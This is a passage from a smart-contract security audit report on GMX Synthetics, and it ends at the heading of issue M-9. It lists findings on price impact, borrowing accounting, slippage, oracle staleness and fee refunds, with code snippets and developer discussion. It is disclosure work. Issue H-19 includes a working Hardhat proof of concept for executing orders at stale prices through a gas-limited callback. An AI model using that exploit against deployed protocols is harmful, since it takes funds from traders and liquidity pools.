dataStore.incrementUint(Keys.claimableFundingAmountKey(market, token=longToken, account),

Impact

Compare funding amounts for user1 and user2

assume U1.P.S_t_$0 =$ U2.P.S_t_$0 = S$

then

Expand the following variables

longs pay shorts $\iff$ OI_$l >$ OI$_s$

So OI_l, t_$0 >$ OI_s, t_0

So

Also, clearly

So we have a non-zero difference which means more tokens can be claimed by user2 than user1 provided.

Code Snippet

LoC: https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/market/MarketUtils.sol#L912-L1013

Tool used

Manual Review

Recommendation

Recommendation here is either

- change funding formula so that no user can claim more tokens in form of funding that other users have provided.
- alternatively have a backup pool that offers tokens when funding can't be paid entirely

Issue H-16: Incorrect `nextOpenInterest` values set for `priceImpact`

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/105

Found by

float-audits

Summary

Logic for setting `nextOpenInterest` values is incorrect for long and short, depending on which side the action was in. These incorrect values for `nextOpenInterest` values lead to incorrect calculation of `priceImpact` for the user.

Vulnerability Detail

Inside PositionPricingUtils.sol the following chain of function calls can be observed: `getPriceImpactUsd()->getNextOpenInterest()->getNextOpenInterestParams()`

`getNextOpenInterestParams()` is intended to return the next open interest values for long and short after taking into account the action of the user. The default values for the `nextLongOpenInterest` and `nextShortOpenInterest` are 0. However it only updates the next open interest of the side on which the action is on, therefore the next open interest of the other side is **incorrectly** returned as 0.

Should the open interest values be really large, then the implication of having 0 value as next open interest value for one side is quite significant.

This causes the consequent price impact calculations based on current and next open interest values to be materially incorrect.

This causes boolean value `isSameSideRebalance` in `_getPriceImpactUsd()` function to have an incorrect value.

For a user who could actually be improving the balance in the market and should be given a positive price impact, this calculation would lead to negative price impact that is very large in magnitude and hence loss of user funds.

Impact

Example below:

`isLong` = true;

`sizeDeltaUsd` = 2;

`longOpenInterest` = 10; // next should be 12 `shortOpenInterest` = 13; // next should be 13 `nextLongOpenInterest` = 12; `nextShortOpenInterest` = 0;

`longOpenInterest` <= `shortOpenInterest` = true; `nextLongOpenInterest` <= `nextShortOpenInterest` = false;

`isSameSideRebalance` = false; // should be true

`priceImpact` calculated based on the `nextDiffUsd` value of 12 (instead of 1)

Code Snippet

LoC: https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/pricing/PositionPricingUtils.sol#L310-L340

```
function getNextOpenInterestParams(
    GetPriceImpactUsdParams memory params,
    uint256 longOpenInterest,
    uint256 shortOpenInterest
) internal pure returns (OpenInterestParams memory) {
    uint256 nextLongOpenInterest;
    uint256 nextShortOpenInterest;

    if (params.isLong) {
        if (params.usdDelta < 0 && (-params.usdDelta).toUint256() >
↪   longOpenInterest) {
            revert UsdDeltaExceedsLongOpenInterest(params.usdDelta,
↪   longOpenInterest);
        }

        nextLongOpenInterest = Calc.sumReturnUint256(longOpenInterest,
↪   params.usdDelta);
    } else {
        if (params.usdDelta < 0 && (-params.usdDelta).toUint256() >
↪   shortOpenInterest) {
            revert UsdDeltaExceedsShortOpenInterest(params.usdDelta,
↪   shortOpenInterest);
        }

        nextShortOpenInterest = Calc.sumReturnUint256(shortOpenInterest,
↪   params.usdDelta);
    }

    OpenInterestParams memory openInterestParams = OpenInterestParams(
        longOpenInterest,
        shortOpenInterest,
        nextLongOpenInterest,
        nextShortOpenInterest
    );
    return openInterestParams;
}
```

Tool used

Manual Review

Recommendation

Remove these lines in the if-brackets:

- `nextLongOpenInterest = Calc.sumReturnUint256(longOpenInterest, params.usdDelta);`
- `nextShortOpenInterest = Calc.sumReturnUint256(shortOpenInterest, params.usdDelta);`

And add these lines before `openInterestParams` assignment in `getNextOpenInterestParams()`: `nextLongOpenInterest = isLong ? longOpenInterest + sizeDeltaUsd : longOpenInterest` `nextShortOpenInterest = !isLong ? shortOpenInterest + sizeDeltaUsd : shortOpenInterest`

Issue H-17: Incorrect parameter ordering in function call

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/97

Found by

float-audits

Summary

The ordering of parameters in function call made in `updateTotalBorrowing()` in `PositionUtils.sol` is incorrect.

Vulnerability Detail

The function call of `updateTotalBorrowing()` in `PositionUtils.sol` has a different parameter ordering to the one defined in the actual function being called in `MarketUtils.sol`.

More specifically, `params.position.borrowingFactor()` and `params.position.sizeInUsd()` are swapped around.

Impact

Updating the total borrowing function with incorrect parameter values would upset the internal accounting of the system and would result in loss of user funds.

Code Snippet

Loc:

- `PositionUtils.sol`: https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/position/PositionUtils.sol#L460-L474
- `MarketUtils.sol`: https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/market/MarketUtils.sol#L1773-L1793

In `PositionUtils.sol`

```
function updateTotalBorrowing(
    PositionUtils.UpdatePositionParams memory params,
    uint256 nextPositionSizeInUsd,
    uint256 nextPositionBorrowingFactor
) internal {
    MarketUtils.updateTotalBorrowing(
        params.contracts.dataStore,
        params.market.marketToken,
        params.position.isLong(),
        params.position.borrowingFactor(),
        params.position.sizeInUsd(),
        nextPositionSizeInUsd,
        nextPositionBorrowingFactor
    );
}
```

In `MarketUtils.sol`

```
function updateTotalBorrowing(
    DataStore dataStore,
    address market,
    bool isLong,
    uint256 prevPositionSizeInUsd,
    uint256 prevPositionBorrowingFactor,
    uint256 nextPositionSizeInUsd,
    uint256 nextPositionBorrowingFactor
) external {
    uint256 totalBorrowing = getNextTotalBorrowing(
        dataStore,
        market,
        isLong,
        prevPositionSizeInUsd,
        prevPositionBorrowingFactor,
        nextPositionSizeInUsd,
        nextPositionBorrowingFactor
    );

    setTotalBorrowing(dataStore, market, isLong, totalBorrowing);
}
```

Tool used

Manual Review

Recommendation

Correct the ordering of parameters in function call made in `PositionUtils.sol` so that it aligns to that defined in the function signature in `MarketUtils.sol`

Issue H-18: No slippage for withdrawal without swapping path

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/70

Found by

rvierdiiev

Summary

No slippage for withdrawal without swapping path

Vulnerability Detail

When user withdraws, he should provide amount of LP tokens, that he wants to burn. According to that amount, output amount of long and short tokens of the market will be calculated for him.

In case if user wants to swap this short/long tokens to another tokens, then he can provide longTokenSwapPath/shortTokenSwapPath array. If he doesn't want to swap them, but just receive without swapping, he doesn't provide that array.

No matter if he provided swap path or no, swapping will be called.

Then inside `SwapUtils.swap` in case if no swap path is provided, then function will just send tokens to receiver. One of parameters of `SwapUtils.swap` function is minOutputAmount. This parameter is important as it stands as slippage protection. In case if swap path is not provided, then amount will not be checked for that slippage. If swap path present, then slippage check will be done. So in case if no swap path is provided, then slippage provided by user will not be checked, as inside `WithdrawalUtils._executeWithdrawal` there is no any check that user received minShortTokenAmount and minLongTokenAmount. Because of that user can be frontrunned and lose some funds.

Impact

There is no slippage check in case if user doesn't provide swap path.

Code Snippet

Provided above

Tool used

Manual Review

Recommendation

You need to check that `minLongTokenAmount`, `minShortTokenAmount` is satisfied after the swap.

Issue H-19: Creating an order of type MarketIncrease opens an attack vector where attacker can execute txs with stale prices by inputting a very extense swapPath

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/54

Found by

stopthecap

Summary

The vulnerability relies on the create order function:

```
    function createOrder(
    DataStore dataStore,
    EventEmitter eventEmitter,
    OrderVault orderVault,
    IReferralStorage referralStorage,
    address account,
    BaseOrderUtils.CreateOrderParams memory params
    ) external returns (bytes32) {
    ReferralUtils.setTraderReferralCode(referralStorage, account,
    ↪  params.referralCode);

    uint256 initialCollateralDeltaAmount;

    address wnt = TokenUtils.wnt(dataStore);

    bool shouldRecordSeparateExecutionFeeTransfer = true;

    if (
        params.orderType == Order.OrderType.MarketSwap ||
        params.orderType == Order.OrderType.LimitSwap ||
        params.orderType == Order.OrderType.MarketIncrease ||
        params.orderType == Order.OrderType.LimitIncrease
    ) {
        initialCollateralDeltaAmount =
        ↪  orderVault.recordTransferIn(params.addresses.initialCollateralToken);
        if (params.addresses.initialCollateralToken == wnt) {
            if (initialCollateralDeltaAmount < params.numbers.executionFee) {
                revert InsufficientWntAmountForExecutionFee(initialCollateralDel⌟
                ↪  taAmount, params.numbers.executionFee);
            }
            initialCollateralDeltaAmount -= params.numbers.executionFee;
            shouldRecordSeparateExecutionFeeTransfer = false;
        }
    } else if (
        params.orderType == Order.OrderType.MarketDecrease ||
        params.orderType == Order.OrderType.LimitDecrease ||
        params.orderType == Order.OrderType.StopLossDecrease
    ) {
        initialCollateralDeltaAmount =
         ↪  params.numbers.initialCollateralDeltaAmount;
    } else {
        revert OrderTypeCannotBeCreated(params.orderType);
    }

    if (shouldRecordSeparateExecutionFeeTransfer) {
        uint256 wntAmount = orderVault.recordTransferIn(wnt);
        if (wntAmount < params.numbers.executionFee) {
            revert InsufficientWntAmountForExecutionFee(wntAmount,
             ↪  params.numbers.executionFee);
        }

        GasUtils.handleExcessExecutionFee(
            dataStore,
            orderVault,
            wntAmount,
            params.numbers.executionFee
        );
    }

    // validate swap path markets
    MarketUtils.getEnabledMarkets(
        dataStore,
        params.addresses.swapPath
    );

    Order.Props memory order;

    order.setAccount(account);
    order.setReceiver(params.addresses.receiver);
    order.setCallbackContract(params.addresses.callbackContract);
    order.setMarket(params.addresses.market);
    order.setInitialCollateralToken(params.addresses.initialCollateralToken);
    order.setSwapPath(params.addresses.swapPath);
    order.setOrderType(params.orderType);
    order.setDecreasePositionSwapType(params.decreasePositionSwapType);
    order.setSizeDeltaUsd(params.numbers.sizeDeltaUsd);
    order.setInitialCollateralDeltaAmount(initialCollateralDeltaAmount);
    order.setTriggerPrice(params.numbers.triggerPrice);
    order.setAcceptablePrice(params.numbers.acceptablePrice);
    order.setExecutionFee(params.numbers.executionFee);
    order.setCallbackGasLimit(params.numbers.callbackGasLimit);
    order.setMinOutputAmount(params.numbers.minOutputAmount);
    order.setIsLong(params.isLong);
    order.setShouldUnwrapNativeToken(params.shouldUnwrapNativeToken);

    ReceiverUtils.validateReceiver(order.receiver());

    if (order.initialCollateralDeltaAmount() == 0 && order.sizeDeltaUsd() == 0) {
        revert BaseOrderUtils.EmptyOrder();
    }

    CallbackUtils.validateCallbackGasLimit(dataStore, order.callbackGasLimit());

    uint256 estimatedGasLimit = GasUtils.estimateExecuteOrderGasLimit(dataStore,
     ↪   order);
    GasUtils.validateExecutionFee(dataStore, estimatedGasLimit,
     ↪   order.executionFee());

    bytes32 key = NonceUtils.getNextKey(dataStore);

    order.touch();
    OrderStoreUtils.set(dataStore, key, order);

    OrderEventUtils.emitOrderCreated(eventEmitter, key, order);

    return key;
}
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/order/OrderUtils.sol#L69

Specifically, on a marketIncrease OrderType. Executing an order type of marketIncrease opens an attack path where you can execute transactions with stale prices.

Vulnerability Detail

The way to achieve this, is by creating a market increase order and passing a very extensive swapPath in params:

```
     BaseOrderUtils.CreateOrderParams memory params


    struct CreateOrderParams {
    CreateOrderParamsAddresses addresses;
    CreateOrderParamsNumbers numbers;
    Order.OrderType orderType;
    Order.DecreasePositionSwapType decreasePositionSwapType;
    bool isLong;
    bool shouldUnwrapNativeToken;
    bytes32 referralCode;
   }

       struct CreateOrderParamsAddresses {
    address receiver;
    address callbackContract;
    address market;
    address initialCollateralToken;
    address[] swapPath;     //HEREE
     ↪  <--------------------------------------------------------
    }

The swap path has to be as long as it gets close to the gasLimit of the block.
```

After calling marketIncrease close to gasLimit then using the callback contract that you passed as a param in:

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/order/OrderUtils.sol#L114

an exceeding the block.gasLimit in the callback.

After "x" amount of blocks, change the gasUsage on the fallback, just that the transaction executes at the prior price.

PoC on how to execute the transaction with old pricing:

```
import { expect } from "chai";
import { mine } from "@nomicfoundation/hardhat-network-helpers";
import { OrderType, getOrderCount, getOrderKeys, createOrder, executeOrder,
 ↪  handleOrder } from "../utils/order";
import { expandDecimals, decimalToFloat } from "../utils/math";
import { deployFixture } from "../utils/fixture";
 import { handleDeposit } from "../utils/deposit";
import { getPositionCount, getAccountPositionCount } from "../utils/position";

describe("Execute transaction with all prices", () => {
let fixture,
user0,
user1,
user2,
reader,
dataStore,
ethUsdMarket,
ethUsdSpotOnlyMarket,
wnt,
usdc,
attackContract,
oracle,
depositVault,
exchangeRouter,
swapHandler,
executionFee;

 beforeEach(async () => {
  fixture = await deployFixture();

    ({ user0, user1, user2 } = fixture.accounts);
   ({
  reader,
  dataStore,
  oracle,
  depositVault,
  ethUsdMarket,
  ethUsdSpotOnlyMarket,
  wnt,
  usdc,
  attackContract,
  exchangeRouter,
  swapHandler,
  } = fixture.contracts);
  ({ executionFee } = fixture.props);

   await handleDeposit(fixture, {
    create: {
    market: ethUsdMarket,
    longTokenAmount: expandDecimals(10000000, 18),
    shortTokenAmount: expandDecimals(10000000 * 5000, 6),
  },
   });
    await handleDeposit(fixture, {
  create: {
    market: ethUsdSpotOnlyMarket,
    longTokenAmount: expandDecimals(10000000, 18),
    shortTokenAmount: expandDecimals(10000000 * 5000, 6),
   },
   });
  });

  it("Old price order execution", async () => {
  const path = [];
 const UsdcBal = expandDecimals(50 * 1000, 6);
 expect(await getOrderCount(dataStore)).eq(0);
   for (let i = 0; i < 63; i++) {
  if (i % 2 == 0) path.push(ethUsdMarket.marketToken);
  else path.push(ethUsdSpotOnlyMarket.marketToken);
   }

    const params = {
    account: attackContract,
     callbackContract: attackContract,
    callbackGasLimit: 1900000,
    market: ethUsdMarket,
     minOutputAmount: 0,
     initialCollateralToken: usdc, // Collateral will get swapped to ETH by the
      ↪  swapPath -- 50k/$5k = 10 ETH Collateral
     initialCollateralDeltaAmount: UsdcBal,
   swapPath: path,
   sizeDeltaUsd: decimalToFloat(200 * 1000), // 4x leverage -- position size is
    ↪  40 ETH
   acceptablePrice: expandDecimals(5001, 12),
    orderType: OrderType.MarketIncrease,
    isLong: true,
    shouldUnwrapNativeToken: false,
    gasUsageLabel: "createOrder",
     };

  // Create a MarketIncrease order that will run out of gas doing callback
  await createOrder(fixture, params);
  expect(await getOrderCount(dataStore)).eq(1);
  expect(await getAccountPositionCount(dataStore, attackContract.address)).eq(0);
   expect(await getPositionCount(dataStore)).eq(0);
    expect(await getAccountPositionCount(dataStore,
     ↪  attackContract.address)).eq(0);

   await expect(executeOrder(fixture)).to.be.reverted;

   await mine(50);

   await attackContract.flipSwitch();

  expect(await getOrderCount(dataStore)).eq(1);

   await executeOrder(fixture, {
  minPrices: [expandDecimals(5000, 4), expandDecimals(1, 6)],
  maxPrices: [expandDecimals(5000, 4), expandDecimals(1, 6)],
   });

  expect(await getOrderCount(dataStore)).eq(0);
  expect(await getAccountPositionCount(dataStore, attackContract.address)).eq(1);
   expect(await getPositionCount(dataStore)).eq(1);
```

```
    await handleOrder(fixture, {
     create: {
     account: attackContract,
     market: ethUsdMarket,
     initialCollateralToken: wnt,
     initialCollateralDeltaAmount: 0,
     sizeDeltaUsd: decimalToFloat(200 * 1000),
     acceptablePrice: 6001,
     orderType: OrderType.MarketDecrease,
     isLong: true,
     gasUsageLabel: "orderHandler.createOrder",
     swapPath: [ethUsdMarket.marketToken],
    },
    execute: {
     minPrices: [expandDecimals(6000, 4), expandDecimals(1, 6)],
     maxPrices: [expandDecimals(6000, 4), expandDecimals(1, 6)],
     gasUsageLabel: "orderHandler.executeOrder",
   },
   });

  const WNTAfter = await wnt.balanceOf(attackContract.address);
   const UsdcAfter = await usdc.balanceOf(attackContract.address);

    expect(UsdcAfter).to.gt(
   expandDecimals(100 * 1000, 6)
     .mul(999)
     .div(1000)
   );
   expect(UsdcAfter).to.lt(
   expandDecimals(100 * 1000, 6)
     .mul(1001)
     .div(1000)
  );
   expect(WNTAfter).to.eq(0);
  }).timeout(100000);
```

Impact

The attack would allow to make free trades in terms of risk. You can trade without any risk by conttroling when to execute the transaction

Code Snippet

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/order/OrderUtils.sol#L50

Tool used

Manual Review

Recommendation

There need to be a way to cap the length of the path to control user input:

uint y = 10; require(swapPath.length < y ,"path too long");

Issue M-1: If block range it big and adl dosnt use currentblock in the order it will cause issues

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/216

Found by

simon135

Summary

if block range is a big range and since adl order uses `cache.minOracleBlockNumbers[0]` there can be an issue of the block not being in range because of the littlest block with max block being a lot bigger and adl wont happen and the protocol will get bad debt

Vulnerability Detail

since the adl order updateBlock is `cache.minOracleBlockNumbers[0]` the block can be behind the range check and fail and the protocol can end up in bad debt with the tokens price declining

Impact

bad debt

Code Snippet

```
cache.key = AdlUtils.createAdlOrder(
    AdlUtils.CreateAdlOrderParams(
        dataStore,
        eventEmitter,
        account,
        market,
        collateralToken,
        isLong,
        sizeDeltaUsd,
        cache.minOracleBlockNumbers[0]
    )
```

Tool used

Manual Review

Recommendation

make it `chain.currentBLock`

Discussion

xvi10

doesn't seem to be a valid issue, cache.minOracleBlockNumbers[0] is from oracleParams which is provided by the ADL keeper, the ADL keeper should use the latest prices to execute ADL

IIIIIII000

@xvi10 I know that the order keepers are intended to eventually be only semi-trusted. Is that not the case for ADL keepers - they'll always be fully trusted?

xvi10

i think the impact is minimized if there is at least one honest ADL keeper, if all ADL keepers are dishonest it is possible for ADLs to continually occur using older prices

IIIIIII000

It sounds like ADL keepers are not fully trusted and therefore this is an unlikely, but possible risk

Issue M-2: [M-01] Incorrect refund of execution fee to user

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/212

Found by

handsomegiraffe

Summary

During execution of Deposits, Withdrawals and Orders, users are refunded part of the `executionFee` after accounting for `gasUsed` during the transaction. In the codebase, an incorrect value of `startingGas` is used to calculate the `gasUsed`, resulting in users getting less than what they should be refunded.

Vulnerability Detail

Vulnerability exists in DepositHandler.sol, WithdrawalHandler.sol and OrderHandler.sol. Using DepositHandler.sol as an example:

https://user-images.githubusercontent.com/83704326/227539224-f59d4cb7-f638-4ddd-a7b3-794

((1) In line 94 of DepositHandler.sol, Order Keepers call `executeDeposit()` and `startingGas` is forwarded to an external call `_executeDeposit`. (2) In ExecuteDepositUtils.sol, `_executeDeposit` further calls `GasUtils.payExecutionFee(... params.startingGas`. (3) Then in GasUtils.sol, `payExecutionFee()` calculates `gasUsed = startingGas - gasleft();` (4) `gasUsed` is used to calculate `executionFeeForKeeper`, and after paying the fee to keeper, the remainder of `executionFee` (previously paid by user) is refunded to the user

The issue lies with (1) where `startingGas` is passed into `_executeDeposit` and assumed to be all remaining gas left. EIP-150 defines the "all but one 64th" rule, which states that always at least 1/64 of the gas still not used for this transaction cannot be sent along. Therefore, in (3) `gasUsed` is overstated by 1/64 and the refund back to user in (4) is incorrect (less than what user should get back).

Proof of Concept https://user-images.githubusercontent.com/83704326/227538387-f2f2ca87-d

In the test above, it is demonstrated that external function calls are forwarded with only 63/64 of the remaining gas. A separate internal function call used to demonstrate the difference in gas costs.

Impact

GMX Users will receive an incorrect refund from the execution fee and will be overpaying for deposit, withdraw and order executions.

Code Snippet

https://github.com/gmx-io/gmx-synthetics/blob/b1557fa286c35f54c65a38a7b57baf87ecad1b5b/contracts/exchange/DepositHandler.sol#L100
https://github.com/gmx-io/gmx-synthetics/blob/b1557fa286c35f54c65a38a7b57baf87ecad1b5b/contracts/exchange/WithdrawalHandler.sol#L130
https://github.com/gmx-io/gmx-synthetics/blob/b1557fa286c35f54c65a38a7b57baf87ecad1b5b/contracts/exchange/OrderHandler.sol#L174

Tool used

Hardhat Manual Review

Recommendation

In DepositHandler.sol, for `executeDeposit` it is recommended that `startingGas()` is `https://user-images.githubusercontent.com/8370432` calculated **after** the external call is made.

Alternatively, in GasUtils.sol, gasUsed could be computed with 63/64 of startingGas, in order to obtain the correct refund amount to the user. This would also apply to Withdraw and Order executions which have similar code flows.

`https://user-images.githubusercontent.com/83704326/227539740-4df5497a-709d-4e4c-ad00-ab4`

Discussion

xvi10

this is a valid concern but we do not think this requires a change in the contracts, startingGas is measured after withOraclePrices, so there will be some extra gas consumed for that call, additionally the keeper should be incentivised with a small fee to execute the requests, the value for Keys.EXECUTION_GAS_FEE_BASE_AMOUNT can be adjusted to account for these

Issue M-3: A single precision value may not work for both the min and max prices

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/182

Found by

IIIIIII

Summary

The same precision may not work for the min and max prices

Vulnerability Detail

If the min price reaches the maximum value possible for the specified level of precision, the max price won't be able to use the same precision.

Impact

Depending on how the order keepers and oracle archive work, either the fetching the price from the oracle will fail, or the user will get less than they deserve. This may happen when a user is at the border of being liquidated, and it would be unfair to liquidate the user.

Code Snippet

The same precision is required to be used for both the min and max prices:

```
// File: gmx-synthetics/contracts/oracle/OracleUtils.sol :
↪  OracleUtils.validateSigner()   #1

          ) internal pure {
              bytes32 digest = ECDSA.toEthSignedMessageHash(
                  keccak256(abi.encode(
                      SALT,
                      info.minOracleBlockNumber,
                      info.maxOracleBlockNumber,
                      info.oracleTimestamp,
                      info.blockHash,
                      info.token,
                      info.tokenOracleType,
   @>                 info.precision,
   @>                 info.minPrice,
   @>                 info.maxPrice
```

```
                    ))
                );

                address recoveredSigner = ECDSA.recover(digest, signature);
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/oracle/OracleUtils.sol#L254-L274

The example from the source comments show that legitimate values feasibly can occur on precision boundaries.

Tool used

Manual Review

Recommendation

Provide separate precision values for min and max prices

Discussion

xvi10

Will reference the ETH example, as the numbers are a bit simpler to reason with

The price of ETH is 5000, and ETH has 18 decimals. Price would be stored as 5000 / (10 ^ 18) * (10 ^ 30) => 5000 * (10 ^ 12) If the decimal multiplier value is set to 8, the uint32 value would be 5000 * (10 ^ 12) / (10 ^ 8) => 5000 * (10 ^ 4)

With this config, ETH prices can have a maximum value of `(2 ^ 32) / (10 ^ 4) => 4,294,967,296 / (10 ^ 4) => 429,496.7296` with 4 decimals of precision.

If the price of ETH changes to be above 429,496.7296, e.g. 450,000

The decimal multiplier value can be set to 9, the uint32 value would be 450,000 * (10 ^ 12) / (10 ^ 9) => 450,000 * (10 ^ 3)

With this config, ETH prices can have a maximum value of `(2 ^ 32) / (10 ^ 3) => 4,294,967,296 / (10 ^ 3) => 4,294,967.296` with 3 decimals of precision.

The mentioned case of requiring different decimals could occur if the min price of ETH is 5000 and the max price of ETH is 450,000, in case that occurs the decimal multiplier value can be set to 9 which may lead to a small amount of precision loss but we feel it is an acceptable outcome.

In case the precision difference required is too large, e.g. 2 decimals or more, we think the oracles should stop signing prices for this case, there could be a need for manual intervention to settle the market as there may be an issue with the price sources in case that occurs.

IIIIIIIOOO

@xvi10 can you elaborate on why this is disputed rather than no-fix? The last sentence seems to indicate a problem that needs to be worked around

xvi10

agree that confirmed and no-fix would be a more accurate label

Issue M-4: Liquidation shouldn't be used to close positions that were fully-collateralized prior to collateral requirement changes

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/179

Found by

IIIIIII

Summary

There are various factors associated with minimum collateral requirements, and if a position falls below them, the position is liquidated.

Vulnerability Detail

If the position was over-collateralized and in profit prior to the change in the minimums, and the minimum is increased, the position is liquidated.

Impact

Liquidation gives all funds to the pool, giving nothing back to the user

Code Snippet

A position becomes liquidatable once it falls below the changeable collateral requirements:

```
// File: gmx-synthetics/contracts/position/PositionUtils.sol : PositionUtils.isPositionLiquidatable()   #1

            if (shouldValidateMinCollateralUsd) {
@>              cache.minCollateralUsd = dataStore.getUint(Keys.MIN_COLLATERAL_USD).toInt256();
                if (cache.remainingCollateralUsd < cache.minCollateralUsd) {
                    return true;
                }
            }

            if (cache.remainingCollateralUsd <= 0) {
                return true;
            }
```

```
387
388:            // validate if (remaining collateral) / position.size is less
↪  than the min collateral factor (max leverage exceeded)
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/position/PositionUtils.sol#L368-L388

Liquidations give everything to the pool, and nothing to the position's account

Tool used

Manual Review

Recommendation

Close the position with a market order, rather than liquidating it, if the user was previously above the minimum with the old factor

Discussion

xvi10

the min collateral requirements should not be changed unless it is an emergency requirement

this setting should eventually be removed from the Config contract

IIIIIII000

@xvi10, while it may be for emergency use, if it does end up being used, isn’t the current behavior incorrect? Should this be a no-fix?

xvi10

yes, updated to confirmed

Issue M-5: Negative prices will cause old orders to be canceled

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/177

Found by

IllIllI

Summary

In most cases where orders are submitted using invalid oracle prices, the check for isEmptyPriceError() returns true, and the order execution is allowed to revert, rather than canceling the order.

Vulnerability Detail

Negative Chainlink oracle prices (think negative interest rates in Europe) result in a plain `revert(<string>)`, which isn't counted as one of these errors, and so if the price becomes negative, any outstanding order will be canceled, even if the order was submitted prior to the price going negative.

Impact

Orders to close positions will be canceled, leading to losses.

Code Snippet

Chainlink prices are converted to positive numbers:

```
// File: gmx-synthetics/contracts/oracle/Oracle.sol :
↪   Oracle._setPricesFromPriceFeeds()   #1

577                 ) = priceFeed.latestRoundData();
578
579:@>              uint256 price = SafeCast.toUint256(_price);
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/oracle/Oracle.sol#L577-L579

And if they're negative, the code reverts:

```
// File:
↪   gmx-synthetics/node_modules/@openzeppelin/contracts/utils/math/SafeCast.sol
↪   : SafeCast.toUint256()   #2
```

```
    function toUint256(int256 value) internal pure returns (uint256) {
        require(value >= 0, "SafeCast: value must be positive");
        return uint256(value);
    }
```

Orders that revert get frozen or canceled

Tool used

Manual Review

Recommendation

Create a new error type, and include it in the list of `OracleUtils.isEmptyPriceError()` errors

Issue M-6: Delayed orders won't use correct prices

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/176

Found by

ShadowForce, IllIllI, rvierdiiev

Summary

GMX uses two oracle types - an off-chain oracle archive network for historical prices of tokens whose value fluctuates a lot, and a set of price feed oracles for tokens that don't change value much. The oracle archive network allows people to submit orders at time T, and have them executed at time T+N, while still getting filled at prices at time T.

Vulnerability Detail

The majority of markets use prices from both types of oracles, and if one of the price feed oracle's tokens de-peg, (e.g. UST, or the recent USDC depeg), users whose orders are delayed by keepers will get executed at different prices than they deserve.

Impact

Delayed prices during a depeg event means they get more/less PnL than they deserve/liquidations, at the expense of traders or the liquidity pool

Code Snippet

Prices for the order will use the current value, rather than the value at the time the order was submitted:

```
// File: gmx-synthetics/contracts/oracle/Oracle.sol :
 ↪  Oracle._setPricesFromPriceFeeds()   #1

                    (
                        /* uint80 roundID */,
@>                      int256 _price,
                        /* uint256 startedAt */,
                        /* uint256 timestamp */,
                        /* uint80 answeredInRound */
                    ) = priceFeed.latestRoundData();
...
                    uint256 stablePrice = getStablePrice(dataStore, token);

```

```solidity
                Price.Props memory priceProps;

                if (stablePrice > 0) {
                    priceProps = Price.Props(
                        price < stablePrice ? price : stablePrice,
                        price < stablePrice ? stablePrice : price
                    );
                } else {
@>                  priceProps = Price.Props(
                        price,
                        price
                    );
                }

@>              primaryPrices[token] = priceProps;
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/oracle/Oracle.sol#L571-L604

Presumably, there won't be archive oracle prices for tokens that have these price feeds, since that would allow the keeper to decide to use whichever price is more favorable to them, so once there's a de-peg, any outstanding orders will be affected.

Tool used

Manual Review

Recommendation

Don't use Chainlink oracle for anything, and instead rely on the archive oracles for everything

Issue M-7: `EmptyFeedPrice` will cause orders to be canceled

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/175

Found by

IIIIIII

Summary

In most cases where orders are submitted using invalid oracle prices, the check for isEmptyPriceError() returns true, and the order execution is allowed to revert, rather than canceling the order.

Vulnerability Detail

EmptyFeedPrice isn't counted as one of these errors, and so if the price reaches zero, any outstanding order will be canceled.

Impact

Orders to close positions will be canceled, leading to losses.

Code Snippet

Only `isEmptyPriceError()` errors are allowed to revert:

```
// File: gmx-synthetics/contracts/exchange/OrderHandler.sol :
↪  OrderHandler._handleOrderError()   #1

            if (
@>              OracleUtils.isEmptyPriceError(errorSelector) ||
                errorSelector == InvalidKeeperForFrozenOrder.selector
            ) {
                ErrorUtils.revertWithCustomError(reasonBytes);
            }

            Order.Props memory order = OrderStoreUtils.get(dataStore, key);
            bool isMarketOrder =
↪  BaseOrderUtils.isMarketOrder(order.orderType());

            if (isMarketOrder) {
                OrderUtils.cancelOrder(
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/exchange/OrderHandler.sol#L226-L237

Other orders get frozen or canceled

Tool used

Manual Review

Recommendation

Include `EmptyFeedPrice` in the list of `OracleUtils.isEmptyPriceError()` errors

Issue M-8: Insufficient oracle validation

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/174

Found by

IIIIIII, rvierdiiev, Breeje, ShadowForce, PRAISE

Summary

Most prices are provided by an off-chain oracle archive via signed prices, but a Chainlink oracle is still used for index prices. These prices are insufficiently validated.

Vulnerability Detail

There is no freshness check on the timestamp of the prices, so old prices may be used if OCR was unable to push an update in time

Impact

Old prices mean traders will get wrong PnL values for their positions, leading to liquidations or getting more/less than they should, at the expense of other traders and the liquidity pools.

Code Snippet

The timestamp field is ignored, which means there's no way to check whether the price is recent enough:

```
// File: gmx-synthetics/contracts/oracle/Oracle.sol :
↪  Oracle._setPricesFromPriceFeeds()   #1

                (
                    /* uint80 roundID */,
                    int256 _price,
                    /* uint256 startedAt */,
@>                  /* uint256 timestamp */,
                    /* uint80 answeredInRound */
                ) = priceFeed.latestRoundData();
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/oracle/Oracle.sol#L567-L587

Tool used

Manual Review

Recommendation

Add a staleness threshold number of seconds configuration parameter, and ensure that the price fetched is within that time range

Issue M-9: Gas spikes after outages may prevent order execution

